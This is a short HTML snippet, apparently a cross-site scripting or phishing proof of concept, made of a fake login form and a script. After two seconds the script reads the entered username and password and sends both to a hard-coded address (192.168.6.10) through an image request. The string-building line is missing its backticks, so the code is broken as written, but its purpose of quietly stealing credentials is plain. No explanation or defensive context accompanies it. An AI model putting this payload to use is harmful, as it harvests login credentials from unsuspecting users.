<form method="POST">
	<input type="text" name="username" placeholder="username"><br>
	<input type="password" name="password" placeholder="password">
</form>

<script type="text/javascript">
	setTimeout(function(){
		const url = 'http://192.168.6.10/',
			  usr = $('input[name=username]'),
			  pwd = $('input[name=password]');

		let img = new Image();
		img.src = ${url}?username=${usr.val()}&password=${pwd.val()};
	}, 2000);
</script>